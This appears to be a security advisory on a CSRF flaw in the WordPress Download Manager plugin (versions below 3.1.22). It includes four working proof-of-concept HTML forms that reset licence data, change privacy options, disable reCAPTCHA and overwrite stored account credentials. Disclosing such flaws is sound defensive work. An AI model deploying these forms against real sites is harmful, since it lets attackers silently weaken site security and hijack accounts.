Download Manager < 3.1.22 – Plugin Settings Change via CSRF

Description

The wpdm_settings AJAX action, used the section POST parameter to call the associated settings handler methods dynamically. However, the pluginUpdate() (section=plugin-update) and Privacy() (section=privacy) were missing CSRF checks. Furthermore, the Privacy() function did not ensure that the options to be updated were actually related to privacy, allowing any option key containing _wpdm_ to be updated.

Proof of Concept

To disconnect from WPDownloadManager.com and reset all related options (such as acces token, login details etc) [v < 3.1.20]
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpdm_settings" />
      <input type="hidden" name="section" value="plugin-update" />
      <input type="hidden" name="logout" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


To change the privacy settings  [v < 3.1.20]
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="task" value="wdm_save_settings" />
      <input type="hidden" name="action" value="wpdm_settings" />
      <input type="hidden" name="section" value="privacy" />
      <input type="hidden" name="__wpdm_noip" value="1" />
      <input type="hidden" name="__wpdm_delstats_on_udel" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


To disable recaptcha (via the privacy settings handler)  [v < 3.1.20]
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="task" value="wdm_save_settings" />
      <input type="hidden" name="action" value="wpdm_settings" />
      <input type="hidden" name="section" value="privacy" />
      <input type="hidden" name="_wpdm_recaptcha_site_key" value="" />
      <input type="hidden" name="__wpdm_recaptcha_regform" value="0" />
      <input type="hidden" name="__wpdm_recaptcha_loginform" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Change the WPDownloadManager.com login info [v < 3.1.22]
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpdm_settings" />
      <input type="hidden" name="section" value="plugin-update" />
      <input type="hidden" name="__wpdm_suname" value="aa" />
      <input type="hidden" name="__wpdm_supass" value="ddew" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>